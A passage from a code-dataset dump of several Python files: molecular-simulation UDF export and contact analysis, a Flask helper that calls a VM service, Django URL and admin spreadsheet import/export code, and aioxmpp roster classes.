self.getposmol(uobj, Molnum)\n            # print posMol\n            nameAtom = self.getnameAtom(uobj, Molnum)\n            atom_index = 0\n            for j in range(len(posMol)):\n                print(nameAtom[atom_index], \\\n                    posMol[j][0], posMol[j][1], posMol[j][2], file=f)\n                atom_index += 1\n        f.close()\n\n        # subprocess.call([\"babel\", \"-ixyz\", out_file, \"-opdb\",\n        #                  path + \"/pdb/mdout_orig.pdb\"])\n        self.exportpdb(uobj, Rec, out_file, mollist)\n\n\n    def Exporttgtmolpos(self, path, oname_i, Rec, mollist, uobj):\n\n        if os.path.exists(path) is False:\n            print(path)\n            subprocess.call([\"mkdir\", path])\n\n        # print mollist\n        # # Export position of mol\n        ohead, ext = os.path.splitext(oname_i)\n        out_file = path + \"/pdb/\" + str(ohead) + 'mol' + str(mollist[0]) + '.xyz'\n        # print out_file\n\n        numlist = []\n        # get total atom\n        for i in mollist:\n            numAtm = uobj.size(\"Structure.Position.mol[].atom[]\", [i])\n            numlist.append(numAtm)\n        totalAtm = sum(numlist)\n        # print \"totalAtom\", totalAtm\n\n        f = open(out_file, \"w\")\n        print(totalAtm, file=f)\n        print(str(ohead), file=f)\n        f.close()\n\n        f = open(out_file, \"a+\")\n        uobj.jump(Rec)\n\n        for i in mollist:\n            Molnum = i\n            posMol = self.getposmol(uobj, Molnum)\n            nameAtom = self.getnameAtom(uobj, Molnum)\n            atom_index = 0\n            for j in range(len(posMol)):\n                print(nameAtom[atom_index], \\\n                    posMol[j][0], posMol[j][1], posMol[j][2], file=f)\n                atom_index += 1\n        f.close()\n\n        self.exportpdb(uobj, Rec, out_file, mollist)\n\n        # cmd = \"babel -ixyz \" +  out_file +  \" -opdb \", path + \"/\" + str(ohead) + \".pdb\"\n        # subprocess.call(cmd, shell = True)\n\n    def exportpdb(self, uobj, Rec, out_file, mollist):\n\n        ohead, ext = os.path.splitext(out_file)\n        out_file = ohead + '.pdb'\n        uobj.jump(Rec)\n\n        # # Export position of mol\n        # head, ext = os.path.splitext(str(iname))\n\n        molnames_orig = []\n        for i in mollist:\n            molnames_orig.append(self.getmolname(i, uobj))\n        # print(molnames)\n        # print(len(molnames_orig))\n\n        molids = sorted(set(molnames_orig), key=molnames_orig.index)\n        print(molids)\n        molnames = []\n        for molname in molnames_orig:\n            for i in range(len(molids)):\n                if molname == molids[i]:\n                    molnames.append(i)\n        # print(molnames)\n        # header\n        # print(out_file)\n        f = open(out_file, \"w\", newline = \"\\n\")\n        print(\"COMPND    \" + out_file, file=f)\n        print(\"AUTHOR    \" + \"GENERATED BY python script in FMOrmap\", file=f)\n        if self.cell != None:\n            print('CRYST1{0[0]:>9.3f}{0[1]:>9.3f}{0[2]:>9.3f}  90.00  90.00  90.00               1'.format(self.cell), file=f)\n        f.close()\n\n        # aaa = [0.8855]\n        # print '{0[0]:.3f}'.format(aaa)\n        # print pos[0]\n        f = open(out_file, \"a+\", newline = \"\\n\")\n        tatomlab = 0\n        mollab = 0\n        for i in mollist:\n            molname = str(molnames[mollab])\n            mollab += 1\n            Molnum = i\n            posMol = self.getposmol(uobj, Molnum)\n            nameAtom = self.getnameAtom(uobj, Molnum)\n            atom_index = 0\n            for j in range(len(posMol)):\n                tatomlab += 1\n                list = [\"HETATM\", str(tatomlab), nameAtom[atom_index], molname.zfill(3), str(mollab), '{:.3f}'.format(posMol[j][0]), '{:.3f}'.format(posMol[j][1]), '{:.3f}'.format(posMol[j][2]), \"1.00\", \"0.00\", nameAtom[atom_index]]\n                print('{0[0]:<6}{0[1]:>5}{0[2]:>3}{0[3]:>6}{0[4]:>6}{0[5]:>12}{0[6]:>8}{0[7]:>8}{0[8]:>6}{0[9]:>6}{0[10]:>12}'.format(list), file=f)\n        # ATOM      1  H   UNK     1     -12.899  32.293   3.964  1.00  0.00           H\n                atom_index += 1\n\n        print(\"END\", file=f)\n        f.close()\n\n\n    def Exportspecificpos(self, path, iname, Rec, mollist, uobj, centermol):\n\n        if os.path.exists(path) is False:\n            print(path)\n            subprocess.call([\"mkdir\", path])\n\n        mollist.append(centermol)\n        # print mollist\n        # # Export position of mol\n        out_file = path + \"/\" + str(iname) + \".xyz\"\n        # print out_file\n\n        numlist = []\n        # get total atom\n        for i in mollist:\n            numAtm = uobj.size(\"Structure.Position.mol[].atom[]\", [i])\n            numlist.append(numAtm)\n        totalAtm = sum(numlist)\n        # print \"totalAtom\", totalAtm\n\n        f = open(out_file, \"w\")\n        print(totalAtm, file=f)\n        print(str(iname), file=f)\n        f.close()\n\n        f = open(out_file, \"a+\")\n        uobj.jump(Rec)\n\n        for i in mollist:\n            Molnum = i\n            posMol = self.getposmol(uobj, Molnum)\n            nameAtom = self.getnameAtom(uobj, Molnum)\n            atom_index = 0\n            for j in range(len(posMol)):\n                print(nameAtom[atom_index], \\\n                    posMol[j][0], posMol[j][1], posMol[j][2], file=f)\n                atom_index += 1\n        f.close()\n\n        subprocess.call([\"babel\", \"-ixyz\", out_file, \"-opdb\",\n                         path + \"/\" + str(iname) + \".pdb\"])\n\n    def moveintocell(self, uobj, totalRec, totalMol,):\n        # # Move into cell\n        for k in range(totalRec):\n            uobj.jump(k)\n            cell = uobj.get(\"Structure.Unit_Cell.Cell_Size\")\n            for i in range(totalMol):\n                Molnum = i\n                transVec = np.array([0., 0., 0.])  # x,y,z\n                posMol = self.getposmol(uobj, Molnum)\n                centerOfMol = self.getCenter(posMol)\n                for j in range(3):\n                    if centerOfMol[j] > cell[j]:\n                        while centerOfMol[j] > cell[j]:\n                            centerOfMol[j] = centerOfMol[j] - cell[j]\n                            transVec[j] = transVec[j] - cell[j]\n                    elif centerOfMol[j] < 0:\n                        while centerOfMol[j] < 0:\n                            centerOfMol[j] = centerOfMol[j] + cell[j]\n                            transVec[j] = transVec[j] + cell[j]\n\n                posMol = self.moveMolTrans(posMol, transVec)\n                self.putPositionsMol(uobj, Molnum, posMol)\n        print(\"move_done.\")\n\n    def putnvtnewfile(self, uobj, Rec, iname, addname):\n        head, ext = os.path.splitext(str(iname))\n        oname = head + addname + \".udf\"\n        uobj.jump(Rec)\n        uobj.write(oname, record=-1, define=1)\n        uobj.write(oname, currentRecord, append)\n        uobj.put(\"NVT_Nose_Hoover\",\n                 \"Simulation_Conditions.Solver.Dynamics.Dynamics_Algorithm\")\n        uobj.write()\n\n    def getudfinfowrap(self, uobj):\n        totalMol, totalRec = self.gettotalmol_rec(uobj)\n        totalAtm = self.gettotalAtm(uobj)\n        cell = self.getcellsize(uobj, totalRec-1)\n\n        print('totalMol:', totalMol)\n        print('totalAtm:', totalAtm)\n        print('cellinfo:', cell)\n\n        molnamelist = self.getnamelist([i for i in range(totalMol)], uobj, totalMol)\n        import collections\n        print(collections.Counter(molnamelist))\n\n        return totalMol, totalRec, totalAtm, cell\n\n    def gettotalmol_rec(self, uobj):\n        totalMol = uobj.size(\"Set_of_Molecules.molecule[]\")\n        totalRec = uobj.totalRecord()\n        return totalMol, totalRec\n\n    def gettotalAtm(self, uobj):\n        totalMol = uobj.size(\"Set_of_Molecules.molecule[]\")\n        numlist = []\n        for i in range(totalMol):\n            numAtm = uobj.size(\"Set_of_Molecules.molecule[].atom[]\", [i])\n            numlist.append(numAtm)\n        totalAtm = sum(numlist)\n        return totalAtm\n\n    def getcellsize(self, uobj, rec):\n        uobj.jump(rec)\n        cell = uobj.get(\"Structure.Unit_Cell.Cell_Size\")\n        return cell\n\n\n    def getmolatomnum(self, uobj, totalMol):\n        atmnumlist = []\n        for i in range(totalMol):\n            molnum = uobj.size(\"Set_of_Molecules.molecule[\" + str(i) + \"].atom[]\")\n            atmnumlist.append(molnum)\n        # print atmnumlist\n        return atmnumlist\n\n#     def getdist(self, p1, p2):\n#         dist = math.sqrt(sum((p1 - p2)**2))\n#         return dist\n\n    def getinteractionsitetable(self, uobj, indexatom):\n        # UDF operation\n        # get the position of a molecule\n            name = uobj.get(\"Molecular_Attributes.Interaction_Site_Type[].Name\")\n            site = uobj.get(\"Molecular_Attributes.Interaction_Site_Type[].Range\")\n\n            return [name, site]\n\n    def calcMMinteraction(self, index, posMol, typenameMol, molnamelist,\n                          clist, clu_num, fname, uobj):\n        # index: contact mol id total info\n        # posmol: all mol position list\n        # typenameMol: atom type in mol\n        # molnamelist: molname list for contact\n        # clist: contact list per mol(renum)\n        # clu_num: cluster_num\n        print(\"******calc MM****\")\n        typenamelist = []\n        poslist = []\n        chglist = []\n        # get atomtype list, position list, charge list\n        for i in index:\n            typenamelist.append(typenameMol[i])\n            poslist.append(posMol[i])\n\n        for i in range(len(molnamelist)):\n            chglist.append(self.getchg(\n                \"monomer/\" + molnamelist[i] + \".out\", len(typenamelist[i]), 0))\n\n    #    print typenamelist\n    #    print poslist\n    #    print chglist\n\n        ielist = []\n        for i in range(len(clist)):\n            for j in range(1, len(clist[i])):\n                # get interaction between clist[i][0] and clist[i][k]\n                mol1id = clist[i][0]\n                mol2id = clist[i][j]\n                LJsum = 0\n                coulombsum = 0\n                # calc interaction energy per mol\n                for k in range(len(typenamelist[mol1id])):\n                    for l in range(len(typenamelist[mol2id])):\n                        atomname1 = typenamelist[mol1id][k]\n                        atomname2 = typenamelist[mol2id][l]\n                        pos1 = poslist[mol1id][k]\n                        pos2 = poslist[mol2id][l]\n                        q1 = chglist[mol1id][k]\n                        q2 = chglist[mol2id][l]\n                        SIparam = getsigmaepsilon(atomname1, atomname2, uobj)\n                        LJ = calcLJPairInteraction(pos1, pos2, SIparam)\n                        coulomb = calcCoulombInteraction(pos1, pos2, q1, q2, 1.0)\n                        LJsum += LJ\n                        coulombsum += coulomb\n                ielist.append([LJsum, coulombsum])\n        ielist = np.array(ielist)\n        print(\"ielist:\", ielist)\n    #\n    #    #get sigma,epsilon from atomtypelist\n    #\n    #    #calc\n    #    calcLJPairInteraction\n    #    calcCoulombInteraction\n\n    def getnamelist(self, index, uobj, totalMol):\n        # --get used mol infomation--\n        molnamelist = []\n        for i in index:\n            molnamelist.append(\n                    uobj.get(\"Set_of_Molecules.molecule[\" +\n                             str(i % totalMol) + \"].Mol_Name\"))\n        # print molnamelist\n\n        return molnamelist\n\n    def getcontactstructure(self, rec, uobj, totalMol, inmol, path,  molname):\n        uobj.jump(rec)\n        cell = uobj.get(\"Structure.Unit_Cell.Cell_Size\")\n        print(\"totalmol:\",totalMol, \"rec\", rec)\n\n        posMol_orig = []\n        typenameMol_orig = []\n\n        for i in range(totalMol):\n            posMol_orig.append(self.getposmol(uobj, i))\n            typenameMol_orig.append(self.getAtomtypename(uobj, i))\n\n        vec = [[0, 0, 0]]\n        for i in (-1, 0, 1):\n            for j in (-1, 0, 1):\n                for k in (-1, 0, 1):\n                    if i == 0 and j == 0 and k == 0:\n                        continue\n                    vec.append([i, j, k])\n        vec = np.array(vec)\n\n        # print vec\n        print(\"cellsize\", cell)\n\n        posMol = []\n        typenameMol = []\n        # print posMol_orig[0]\n        for i in range(len(vec)):\n            for j in range(totalMol):\n                posMol.append(self.moveMolTrans(\n                    posMol_orig[j], vec[i] * float(cell[0])))\n                typenameMol.append(typenameMol_orig[j])\n\n        # --definition--\n        # posMol: molecular position list (27cell)\n        # posMol_orig: molecular position list (original cell)\n        # typenameMol: Molecular typename list (27cell)\n\n        # ---get contact_mol---\n        isitelist = self.getinteractionsitetable(uobj, 1)\n        # print isitelist\n\n        site = []\n        # print typenameMol[neighborMol[0][0]]\n        for i in range(len(posMol)):\n            site.append(self.getatomisite(isitelist, typenameMol[i]))\n\n        # print \"vec\",vec\n        print(\"pos27molnum\", len(posMol), end=' ')\n        print(\"pos_orig molnum\", len(posMol_orig))\n        print(\"typenamemol len\", len(typenameMol))\n        # print posMol\n\n        posfrag_mols, typenamefrag_mols, sitefrag_mols, fragids, infrag = self.getfraginfomb(molname, posMol, typenameMol, site, len(posMol_orig))\n        infrag = infrag * inmol\n        print(\"infrag:\", infrag)\n\n        # centerOfMol: com of each molecules\n        centerOfMol = []\n        for i in range(len(posMol)):\n            centerOfMol.append(self.getCenter(posMol[i]))\n\n        # export com\n        self.exportxyz(path[0] + \"/\" + path[1], centerOfMol, \"com\")\n\n        # check\n        print(\"nummol\", len(posMol), \"numatom_mol0\", len(posMol[0]))\n        # posMol: num of molecules in cell\n        # posMol[0]: num of atoms in Mol[0]\n\n        # --move check--\n        aaa = self.moveMolTrans(posMol[0], -centerOfMol[0])\n        print(len(aaa))\n        print(\"center\", self.getCenter(aaa))\n\n        # --move all mol to origin--\n        originmol = []\n        for i in range(len(posMol)):\n            originmol.append(self.moveMolTrans(posMol[i], -centerOfMol[i]))\n\n        # for i in range(len(movemol)):\n        #    exportxyz(path[0] + \"/\" + path[1],movemol[i],i)\n\n        # --get mol volume--\n        vol = []\n        for i in range(len(posMol)):\n            vol.append(self.getvolume(originmol[i]))\n\n        # --get com dist--\n        distlist = []\n        for i in range(inmol):\n            dist = []\n            for j in range(i+1, len(posMol)):\n                dist.append(self.getdist(centerOfMol[i], centerOfMol[j]))\n            distlist.append(dist)\n\n        # inmol: mol num need for check contact\n        # this area can be parrallel tuning\n        neighborMol = []\n        for i in range(inmol):\n            k = 0\n            for j in range(i+1, len(posMol)):\n                if distlist[i][k] < (vol[i] + vol[j])*2:\n                    neighborMol.append([i, j])\n                k += 1\n\n        # get contact list\n        clistall = self.getcontactlist(inmol, posMol, site, neighborMol)\n        clistfrag = self.getcontactfrag(clistall, posfrag_mols, sitefrag_mols, fragids, infrag)\n\n        index = self.getindex(clistall)\n        frag_index = self.getindex(clistfrag)\n        molnamelist = self.getnamelist(index, uobj, totalMol)\n\n        # --export contact pos--\n    #    for i in range(inmol):\n    #        opath = path[0] + \"/\" + path[1] + \"/contact\"\n    #        Exportardpos(opath, rec, clistall[i], posMol,typenameMol)\n\n        # --export whole orig pos--\n        # oname = \"mdout_orig\" + str(rec) + \".xyz\"\n        # Exportpos(path[0] + \"/\" + path[1],totalRec-1,totalMol,uobj,oname)\n\n        # --export  pos for abinit --\n        opath = path[0] + \"/\" + path[1] + \"/pdb\"\n        if self.mixflag is True or self.clusterflag is True:\n            # contact\n            oname = rec\n        else:\n            # plus 1 layer\n            oname = \"mdout\"\n        self.Exportardpos(opath, oname, index, posMol, typenameMol)\n\n        index_renum, clistall = self.getrenumindex(index, clistall)\n        fragindex_renum, clistall = self.getrenumfrag(frag_index, clistfrag, fragids)\n\n        # --export clistall--\n        opath = path[0] + \"/\" + path[1] + \"/contactfrag\"\n        self.exportdata(opath, oname, clistall)\n\n        # calc MM interacion\n        # self.calcMMinteraction(index,posMol,typenameMol,molnamelist,clistall,inmol,molname,uobj)\n\n        # bind structure\n        # molnamelist: name list for each molecules\n        self.make_abinputmb(molname, molnamelist, oname, path)\n\n    def putnvtnewfile(self, uobj, Rec, iname, addname):\n        head, ext = os.path.splitext(str(iname))\n        oname = head + addname + \".udf\"\n        uobj.jump(Rec)\n        uobj.write(oname, record=-1, define=1)\n        uobj.write(oname, currentRecord, append)\n\n        newudf= UDFManager(oname)\n        newudf.put(\"NVT_Nose_Hoover\",\n                 \"Simulation_Conditions.Solver.Dynamics.Dynamics_Algorithm\")\n        newudf.write()\n\n    def getsigmaepsilon(self, atom1, atom2, uobj):\n        # size=uobj.size(\"Interactions.Pair_Interaction[]\")\n        aaa = uobj.get(\"Interactions.Pair_Interaction[]\")\n        for list in aaa:\n            if (list[2] == atom1 and list[3] == atom2) or \\\n               (list[2] == atom2 and list[3] == atom1):\n                # print atom1,atom2 ,list[2],list[3],list[6],\"--> ok\"\n                break\n        return list[6]\n        # list[6]: [sigma(/2^(1/6)), epsilon(sqrt(e1 * e2))]\n\n\n","repo_name":"kojioku/abmptools","sub_path":"abmptools/udf_io.py","file_name":"udf_io.py","file_ext":"py","file_size_in_byte":20387,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"74427766451","text":"from app import app\nfrom model.assignment_model import AssignmentModel\nfrom flask import request\nfrom flask import make_response\nimport jwt\nfrom configs.config import server_config\nimport requests\n\ndef decode_auth_token(s):\n    try:\n        payload = jwt.decode(s, server_config['SECRET_KEY'],algorithms=['HS256'])\n        return payload['sub']\n    except jwt.ExpiredSignatureError:\n        return 'Signature expired. Please log in again.'\n    except jwt.InvalidTokenError:\n        return 'Invalid token. Please log in again.'\n\ndef isValidToken(s, entry_num, role):\n    st=decode_auth_token(str(s))\n    return st == entry_num+\"#\"+role\n\ndef create(cpu_snap:str, mem_snap:str, kp:str, resume:bool, tap_dev:str, user:str, password:str, id:int):\n    # start vm\n    json_req = {\n        \"cpu_snapshot_path\" : cpu_snap,\n        \"memory_snapshot_path\" : mem_snap,\n        \"kernel_path\" : kp,\n        \"resume\" : resume,\n        \"tap_device\":tap_dev,\n        \"config\":{\n                \"username\":user,\n                \"password\":password,\n                \"id\":id,\n        }\n    }\n    r = requests.post(\"http://10.237.23.38:8014/create\", json=json_req)\n    return r.json()\n\ndef snapshot(cpu_snap:str, mem_snap:str, rpc_port:int, resume:bool, tap_dev:str):\n    # start vm\n    json_req = {\n        \"cpu_snapshot_path\" : cpu_snap,\n        \"memory_snapshot_path\" : mem_snap,\n        \"rpc_port\" : rpc_port,\n        \"resume\" : resume,\n        \"tap_device\":tap_dev\n    }\n    r = requests.post(\"http://10.237.23.38:8014/snapshot\", json=json_req)\n    return (r.text)\n\n","repo_name":"CoderPanda1729/COL732_Project","sub_path":"Backend_Development/controller/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"34987194790","text":"from django.conf.urls import patterns, url\nfrom . import views\n\nurlpatterns = [\n    url(r'^ingresar/$', views.login_view, name='login_view'),\n    url(r'^bienvenido/$', views.bienvenido, name='bienvenido'),\n    url(r'^salir/$', views.salir, name='salir'),\n    # url(r'^registro/$', 'registro', name='registro'),\n\n    # # RECUPERAR PASSWORD\n    # url(r'^recuperar-password/$', 'recupera_password', name='recupera_password'),\n    # url(r'^cambiar-password/(?P<uuid_hash>[-\\w]+)$', 'set_password', name='set_password'),\n    # url(r'^cambiar-password-ok/$', 'set_password_success', name='set_password_success'),\n\n    # # PRIVATE VIEWS\n    # url(r'^auth/$', 'logged_view', name='logged_view')\n    # url(r'^login/$', 'home_prueba', name='ingresar'),\n]\n","repo_name":"danielhuamani/Proyecto-taller-base-datos","sub_path":"src/apps/sistema/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"32684250906","text":"########################################################################\n# File name: xso.py\n# This file is part of: aioxmpp\n#\n# LICENSE\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Lesser General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n# Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public\n# License along with this program.  If not, see\n# <http://www.gnu.org/licenses/>.\n#\n########################################################################\nimport aioxmpp.stanza as stanza\nimport aioxmpp.nonza as nonza\nimport aioxmpp.xso as xso\n\nfrom aioxmpp.utils import namespaces\n\nnamespaces.rfc6121_roster = \"jabber:iq:roster\"\nnamespaces.rfc6121_roster_versioning = \"urn:xmpp:features:rosterver\"\n\n\nclass Group(xso.XSO):\n    \"\"\"\n    A group declaration for a contact in a roster.\n\n    .. attribute:: name\n\n       The name of the group.\n\n    \"\"\"\n    TAG = (namespaces.rfc6121_roster, \"group\")\n\n    name = xso.Text(default=None)\n\n    def __init__(self, *, name=None):\n        super().__init__()\n        self.name = name\n\n\nclass Item(xso.XSO):\n    \"\"\"\n    A contact item in a roster.\n\n    .. attribute:: jid\n\n       The bare :class:`~aioxmpp.JID` of the contact.\n\n    .. attribute:: name\n\n       The optional display name of the contact.\n\n    .. attribute:: groups\n\n       A :class:`~aioxmpp.xso.model.XSOList` of :class:`Group` instances which\n       describe the roster groups in which the contact is.\n\n    The following attributes represent the subscription status of the\n    contact. A client **must not** set these attributes when sending roster\n    items to the server. To change subscription status, use presence stanzas of\n    the respective type. The only exception is a :attr:`subscription` value of\n    ``\"remove\"``, which is used to remove an entry from the roster.\n\n    .. attribute:: subscription\n\n       Primary subscription status, one of ``\"none\"`` (the default), ``\"to\"``,\n       ``\"from\"`` and ``\"both\"``.\n\n       In addition, :attr:`subscription` can be set to ``\"remove\"`` to remove\n       an item from the roster during a roster set. Removing an entry from the\n       roster will also cancel any presence subscriptions from and to that\n       entries entity.\n\n    .. attribute:: approved\n\n       Whether the subscription has been pre-approved by the owning entity.\n\n    .. attribute:: ask\n\n       Subscription sub-states, one of ``\"subscribe\"`` and :data:`None`.\n\n    .. note::\n\n       Do not confuse this class with :class:`~aioxmpp.roster.Item`.\n\n    \"\"\"\n\n    TAG = (namespaces.rfc6121_roster, \"item\")\n\n    approved = xso.Attr(\n        \"approved\",\n        type_=xso.Bool(),\n        default=False,\n    )\n\n    ask = xso.Attr(\n        \"ask\",\n        validator=xso.RestrictToSet({\n            None,\n            \"subscribe\",\n        }),\n        validate=xso.ValidateMode.ALWAYS,\n        default=None,\n    )\n\n    jid = xso.Attr(\n        \"jid\",\n        type_=xso.JID(),\n    )\n\n    name = xso.Attr(\n        \"name\",\n        default=None,\n    )\n\n    subscription = xso.Attr(\n        \"subscription\",\n        validator=xso.RestrictToSet({\n            \"none\",\n            \"to\",\n            \"from\",\n            \"both\",\n            \"remove\",\n        }),\n        validate=xso.ValidateMode.ALWAYS,\n        default=\"none\",\n    )\n\n    groups = xso.ChildList([Group])\n\n    def __init__(self, jid, *,\n                 name=None,\n                 groups=(),\n                 subscription=\"none\",\n                 approved=False,\n                 ask=None):\n        super().__init__()\n        if jid is not None:\n            self.jid = jid\n        self.name = name\n        self.groups.extend(groups)\n        self.subscription = subscription\n        self.approved = approved\n        self.ask = ask\n\n\n@stanza.IQ.as_payload_class\nclass Query(xso.XSO):\n    \"\"\"\n    A query which fetches data from the roster or sends new items to the\n    roster.\n\n    .. attribute:: ver\n\n       The version of the roster, if any. See the RFC for the detailed\n       semantics.\n\n    .. attribute:: items\n\n       The items in the roster query.\n\n    \"\"\"\n    TAG = (namespaces.rfc6121_roster, \"query\")\n\n    ver = xso.Attr(\n        \"ver\",\n        default=None\n    )\n\n    items = xso.ChildList([Item])\n\n    def __init__(self, *, ver=None, items=()):\n        super().__init__()\n        self.ver = ver\n        self.items.extend(items)\n\n\n@nonza.StreamFeatures.as_feature_class\nclass RosterVersioningFeature(xso.XSO):\n    \"\"\"\n    Roster versioning feature.\n\n    .. seealso::\n\n       :class:`aioxmpp.nonza.StreamFeatures`\n\n    \"\"\"\n    TAG = (namespaces.rfc6121_roster_versioning, \"ver\")\n","repo_name":"horazont/aioxmpp","sub_path":"aioxmpp/roster/xso.py","file_name":"xso.py","file_ext":"py","file_size_in_byte":4970,"program_lang":"python","lang":"en","doc_type":"code","stars":215,"dataset":"github-code","pt":"21"}
+{"seq_id":"40406189115","text":"from django.contrib import admin\nimport csv\nfrom django.http import HttpResponse\nfrom .models import *\nfrom django import forms\nfrom django.shortcuts import redirect\nfrom django.shortcuts import render\nfrom datetime import datetime, timedelta\n\nfrom excel_response import ExcelResponse\n\n\nadmin.site.site_header = \"ERP Admin\"\nadmin.site.site_title = \"ERP Admin Portal\"\nadmin.site.index_title = \"Welcome to ERP Researcher Portal\"\n\n\nclass CsvOrExcelImportForm(forms.Form):\n    csv_file = forms.FileField()\n\n\nclass ExcelImportForm(forms.Form):\n    excel_file = forms.FileField()\n\n\nclass ExportCsvMixin():\n    def export_as_csv(self, request, queryset):\n        meta = self.model._meta\n        field_names = [field.name for field in meta.fields]\n\n        response = HttpResponse(content_type='text/csv')\n\n        response['Content-Disposition'] = 'attachment; filename={}.csv'.format(meta)\n        response.write(u'\\ufeff'.encode('utf8'))\n        # writer = csv.writer(response, delimiter=';', dialect='excel')\n\n        writer = csv.writer(response)\n\n        writer.writerow(field_names)\n        for obj in queryset:\n            row = writer.writerow([(getattr(obj, field)) for field in field_names])\n\n        return response\n\n    export_as_csv.short_description = \"Export to Csv Selected\"\n\n    def excelview(self,request,queryset):\n\n        return ExcelResponse(queryset)\n\n    def export_users_csv(self,request,queryset):\n        response = HttpResponse(content_type='text/csv')\n        response['Content-Disposition'] = 'attachment; filename=\"Report.csv\"'\n\n        # response = HttpResponse(content_type='application/vnd.ms-excel')\n        # response['Content-Disposition'] = 'attachment; filename=Report.xlsx'\n\n        response.write(u'\\ufeff'.encode('utf8'))\n\n        writer = csv.writer(response)\n\n        meta = self.model._meta\n        field_names = [field.name for field in meta.fields]\n\n        writer.writerow(field_names)\n\n        for obj in queryset:\n            row = writer.writerow([(getattr(obj, field)) for field in field_names])\n\n        return response\n\n    export_users_csv.short_description = \"Export to Excel Selected\"\n\n\n@admin.register(Employee)\nclass EmployeeAdmin(admin.ModelAdmin,ExportCsvMixin):\n    list_display = (\"first_name\", \"job\",\"department\",\"give_bank_account\",\"give_insurance_account\")\n    readonly_fields=('bank_account_len', 'social_insurance_len',)\n    actions = [\"export_as_csv\",\"export_users_csv\",\"excelview\"]\n    list_per_page = 100\n\n    list_filter = (\"department\",\"job\",\"give_bank_account\",\"give_insurance_account\")\n\n\n    change_list_template = \"hrm/employee_changelist.html\"\n\n    def get_urls(self):\n        urls = super().get_urls()\n        from django.urls import path\n\n\n        my_urls = [\n            path('import-csv/', self.import_csv),\n            path('import-excel/', self.import_excel),\n        ]\n        return my_urls + urls\n\n    def import_csv(self, request):\n        if request.method == \"POST\":\n            csv_file = request.FILES[\"csv_file\"]\n            reader = csv.reader(csv_file)\n\n            self.message_user(request, \"Your csv file has been imported\")\n\n            return redirect(\"..\")\n        form = CsvOrExcelImportForm()\n        payload = {\"form\": form}\n        return render(\n            request, \"admin/csv_form.html\", payload\n        )\n\n    def import_excel(self, request):\n        if request.method == \"POST\":\n            excel_file = request.FILES[\"excel_file\"]\n            reader = csv.reader(excel_file)\n\n            import openpyxl\n            # you may put validations here to check extension or file size\n\n\n            wb = openpyxl.load_workbook(excel_file)\n            print(wb.iso_dates)\n            print(wb.excel_base_date)\n            # getting a particular sheet by name out of many sheets\n            worksheet = wb[\"Sheet1\"]\n            print(worksheet)\n\n\n            excel_data = list()\n            for row in worksheet.iter_rows():\n                row_data = list()\n                for cell in row:\n                    row_data.append(str(cell.value))\n\n                print(row_data)\n\n                excel_data.append(row_data)\n\n            emp_list_body={}\n\n\n            emp_list_head=list()\n\n            row_count = 0\n            for row in excel_data:\n                i = 0\n\n                if row_count == 0:\n                    for cell in row:\n                        emp_list_head.append(cell)\n                        i+=1\n                else:\n                    emp={}\n                    for cell in row:\n                        emp[emp_list_head[i]]=cell\n                        i += 1\n                    emp_list_body[str(row_count)]=emp\n                row_count+=1\n            print(\"emp_list_head\")\n            print(emp_list_head)\n\n            print(\"emp_list_body\")\n            print(emp_list_body)\n            from .models import Job\n            row_count = 0\n\n            print(type(emp_list_body))\n\n            for key,value in emp_list_body.items():\n\n                print(key)\n\n                print(type(value))\n                row = value\n                job_id = Job.objects.get(name=value['job'])\n                print(job_id)\n                import datetime\n\n\n                emp = Employee( first_name=row['fullname'],\n                    hire_date=datetime.datetime.strptime(row['hire_date'], \"%Y-%m-%d %H:%M:%S\"),\n                    birth_date=datetime.datetime.strptime(row['birth_date'], \"%Y-%m-%d %H:%M:%S\"),\n                )\n\n                try:\n                    emp.phone =row['phone']\n                except:\n                    pass\n\n                try:\n                    emp.home_phone = row['home_phone']\n                except:\n                    pass\n\n                try:\n                    emp.fin = row['fin']\n                except:\n                    pass\n\n                try:\n                    emp.passport = row['passport']\n                except:\n                    pass\n\n                try:\n                    emp.address = row['address']\n                except:\n                    pass\n\n                try:\n                    if row['active']==1:\n                        emp.active = True\n                    elif row['active'] == 'OK':\n                        emp.active = True\n                    elif row['active']=='1':\n                        emp.active = True\n                    elif row['active']=='ok':\n                        emp.active = True\n                    elif row['active'] == 'active':\n                        emp.active = True\n                    elif row['active']=='aktiv':\n                        emp.active = True\n                    elif row['active']=='Aktiv':\n                        emp.active = True\n                    else:\n                        emp.active = False\n                except:\n                    pass\n\n\n                try:\n                    emp.job = Job.objects.filter(name=value['job'])[:1].get()\n                except:\n                    pass\n\n                try:\n                    emp.department=Department.objects.filter(name=value['department'])[:1].get()\n                except:\n                    pass\n                try:\n                    emp.quit_date = datetime.datetime.strptime(row['quit_date'], \"%Y-%m-%d %H:%M:%S\")\n                except:\n                    pass\n\n                emp.save()\n\n                row_count += 1\n            self.message_user(request, \"Your csv file has been imported\")\n\n\n            return redirect(\"..\")\n\n\n        form = ExcelImportForm()\n        payload = {\"form\": form}\n        return render(\n            request, \"admin/excel_form.html\", payload\n        )\n\n\n\ndef has_add_permission(self, request):\n    return False\n\n\nclass IsVeryBenevolentFilter(admin.SimpleListFilter):\n    title = 'işləyirmi'\n    parameter_name = 'işləyirmi'\n\n    def lookups(self, request, model_admin):\n        return (\n            ('Bəli', 'Bəli'),\n            ('Xeyir', 'Xeyir'),\n            ('Son ay', 'Son ay'),\n\n        )\n\n    def queryset(self, request, queryset):\n        value = self.value()\n        import datetime\n\n        today = datetime.date.today()\n\n        if value == 'Son ay':\n            return queryset.filter(emp__hire_date__year=today.year, emp__hire_date__month=today.month)\n        elif value == 'Bəli':\n\n            return queryset.filter(emp__hire_date__gte=today).exclude(emp__hire_date__year=today.year).exclude( emp__hire_date__month=today.month)\n        elif value == 'Xeyir':\n            return queryset.exclude(emp__hire_date__lte=today, emp__hire_date__month=today.month)\n\n\n\n        